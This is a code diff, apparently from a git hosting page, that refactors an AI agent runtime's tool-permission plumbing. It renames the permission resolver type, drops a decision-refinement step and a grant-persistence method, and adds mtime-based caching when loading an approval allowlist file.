permission_resolver: RuntimePermissionAdapter,
|
||||
on_progress: Any = None,
|
||||
) -> RuntimeToolHookBus:
|
||||
hook_bus = RuntimeToolHookBus(
|
||||
@@ -1008,18 +1000,10 @@ class NativeRuntimeV2:
|
||||
self,
|
||||
context: RuntimeToolHookContext,
|
||||
*,
|
||||
permission_resolver: ToolPermissionResolver,
|
||||
permission_resolver: RuntimePermissionAdapter,
|
||||
on_progress: Any = None,
|
||||
) -> dict[str, Any] | None:
|
||||
predicted = context.predicted_permission
|
||||
if predicted is not None and context.tool is not None:
|
||||
predicted = await permission_resolver.refine_decision(
|
||||
predicted,
|
||||
tool=context.tool,
|
||||
arguments=context.arguments,
|
||||
task=context.task,
|
||||
)
|
||||
context.predicted_permission = predicted
|
||||
if predicted is not None and getattr(predicted, "resolution", None) == PermissionResolution.DENY:
|
||||
return {
|
||||
"result": permission_resolver.build_blocked_result(
|
||||
@@ -1502,7 +1486,7 @@ class NativeRuntimeV2:
|
||||
early_tool_runs: dict[int, dict[str, Any]],
|
||||
executor: StreamingToolExecutor,
|
||||
planner: ToolPlanner,
|
||||
permission_resolver: ToolPermissionResolver,
|
||||
permission_resolver: RuntimePermissionAdapter,
|
||||
task: Task | None,
|
||||
on_progress: Any,
|
||||
runtime_session_id: str,
|
||||
@@ -1538,7 +1522,7 @@ class NativeRuntimeV2:
|
||||
self,
|
||||
*,
|
||||
planner: ToolPlanner,
|
||||
permission_resolver: ToolPermissionResolver,
|
||||
permission_resolver: RuntimePermissionAdapter,
|
||||
call: dict[str, Any],
|
||||
task: Task | None,
|
||||
) -> bool:
|
||||
@@ -3852,54 +3836,6 @@ class NativeRuntimeV2:
|
||||
except TypeError:
|
||||
await callback(text)
|
||||
|
||||
async def _persist_permission_grants(
|
||||
self,
|
||||
runtime_session_id: str,
|
||||
task: Task | None,
|
||||
execution_results: list[dict[str, Any]],
|
||||
) -> None:
|
||||
store = getattr(self.memory_manager, "store", None)
|
||||
if not store or not hasattr(store, "save_runtime_permission_grant"):
|
||||
return
|
||||
for item in execution_results:
|
||||
decision = item.get("permission_decision")
|
||||
result = item.get("result", {})
|
||||
call = item.get("tool_call", {})
|
||||
if decision is None:
|
||||
continue
|
||||
human_reply = str(
|
||||
(result.get("approval", {}) or {}).get("human_reply")
|
||||
or ""
|
||||
).strip().lower()
|
||||
if human_reply not in {"approve_session", "always_project", "always_global"}:
|
||||
continue
|
||||
candidate = (
|
||||
str(call.get("arguments", {}).get("path", "") or "").strip()
|
||||
or str(call.get("arguments", {}).get("command", "") or "").strip()
|
||||
or "*"
|
||||
)
|
||||
execution_context = dict((getattr(task, "metadata", {}) or {}).get("_execution_context", {}) or {}) if task else {}
|
||||
sandbox = dict(execution_context.get("sandbox", {}) or {})
|
||||
scope = "session"
|
||||
if human_reply == "always_project":
|
||||
scope = "project"
|
||||
elif human_reply == "always_global":
|
||||
scope = "global"
|
||||
metadata = dict(result.get("approval", {}) or {})
|
||||
metadata.update({
|
||||
"sandbox_mode": str(sandbox.get("mode", "") or "").strip() or "*",
|
||||
"allow_network": str(bool(sandbox.get("allow_network", True))).lower(),
|
||||
"workspace_class": "workspace" if str((getattr(task, "metadata", {}) or {}).get("target_output_dir", "") or "").strip() else "default",
|
||||
})
|
||||
await store.save_runtime_permission_grant(
|
||||
runtime_session_id=runtime_session_id,
|
||||
project_id=task.project_id if task else "default",
|
||||
scope=scope,
|
||||
tool_name=str(call.get("function", "") or ""),
|
||||
candidate=candidate,
|
||||
metadata=metadata,
|
||||
)
|
||||
|
||||
def _permission_requests_from_results(self, execution_results: list[dict[str, Any]]) -> list[dict[str, Any]]:
|
||||
requests: list[dict[str, Any]] = []
|
||||
for item in execution_results:
|
||||
|
||||
@@ -9,7 +9,7 @@ import uuid
|
||||
from typing import Any, Awaitable, Callable
|
||||
|
||||
from opc.core.models import PermissionResolution
|
||||
from opc.layer3_agent.runtime_v2.permissions import ToolPermissionResolver
|
||||
from opc.layer3_agent.runtime_v2.permissions import RuntimePermissionAdapter
|
||||
from opc.layer3_agent.runtime_v2.tool_hooks import RuntimeToolHookBus, RuntimeToolHookContext
|
||||
from opc.layer3_agent.runtime_v2.tool_planner import ToolBatch, ToolPlanner
|
||||
from opc.layer4_tools.registry import ToolRegistry
|
||||
@@ -51,7 +51,7 @@ class StreamingToolExecutor:
|
||||
*,
|
||||
registry: ToolRegistry,
|
||||
planner: ToolPlanner,
|
||||
permission_resolver: ToolPermissionResolver,
|
||||
permission_resolver: RuntimePermissionAdapter,
|
||||
hook_bus: RuntimeToolHookBus | None = None,
|
||||
runtime_tool_handler: RuntimeToolHandler | None = None,
|
||||
emit_event: RuntimeEventCallback | None = None,
|
||||
@@ -381,7 +381,7 @@ class StreamingToolExecutor:
|
||||
batch_id: str,
|
||||
call: dict[str, Any],
|
||||
) -> dict[str, Any]:
|
||||
guardian = getattr(self.permission_resolver.config, "guardian", None)
|
||||
guardian = getattr(self.permission_resolver, "guardian", None)
|
||||
if not guardian or not bool(getattr(guardian, "auto_retry_sandbox", False)):
|
||||
return result
|
||||
payload = result.get("result", {})
|
||||
|
||||
@@ -33,19 +33,33 @@ class ApprovalAllowlistManager:
|
||||
def __init__(self, opc_home: str | Path) -> None:
|
||||
self.opc_home = Path(opc_home)
|
||||
self.path = self.opc_home / "config" / "approval_allowlist.yaml"
|
||||
self._cache: dict[str, Any] | None = None
|
||||
self._cache_mtime_ns: int = -1
|
||||
|
||||
def ensure_file(self) -> None:
|
||||
if not self.path.exists():
|
||||
self.save(_empty_payload())
|
||||
|
||||
def load(self) -> dict[str, Any]:
|
||||
if not self.path.exists():
|
||||
# The permission predictor consults the allowlist on every tool call;
|
||||
# cache by mtime so repeated loads do not re-read and re-parse the
|
||||
# YAML. External edits to the file are picked up via the mtime change.
|
||||
try:
|
||||
mtime_ns = self.path.stat().st_mtime_ns
|
||||
except OSError:
|
||||
self._cache = None
|
||||
self._cache_mtime_ns = -1
|
||||
return _empty_payload()
|
||||
if self._cache is not None and mtime_ns == self._cache_mtime_ns:
|
||||
return deepcopy(self._cache)
|
||||
try:
|
||||
raw = yaml.safe_load(self.path.read_text(encoding="utf-8")) or {}
|
||||
except Exception:
|
||||
return _empty_payload()
|
||||
return self._normalize_payload(raw)
|
||||
normalized = self._normalize_payload(raw)
|
||||
self._cache = deepcopy(normalized)
|
||||
self._cache_mtime_ns = mtime_ns
|
||||
return normalized
|
||||
|
||||
def save(self, payload: dict[str, Any]) -> None:
|
||||
self.path.parent.mkdir(parents=True, exist_ok=True)
|
||||
@@ -59,6 +73,12 @@ class ApprovalAllowlistManager:
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
try:
|
||||
self._cache = deepcopy(normalized)
|
||||
self._cache_mtime_ns = self.path.stat().st_mtime_ns
|
||||
except OSError:
|
||||
self._cache = None
|
||||
self._cache_mtime_ns = -1
|
||||
|
||||
def list_patterns(
|
||||
self,
|
||||
|
||||
Reference in New Issue
Block a user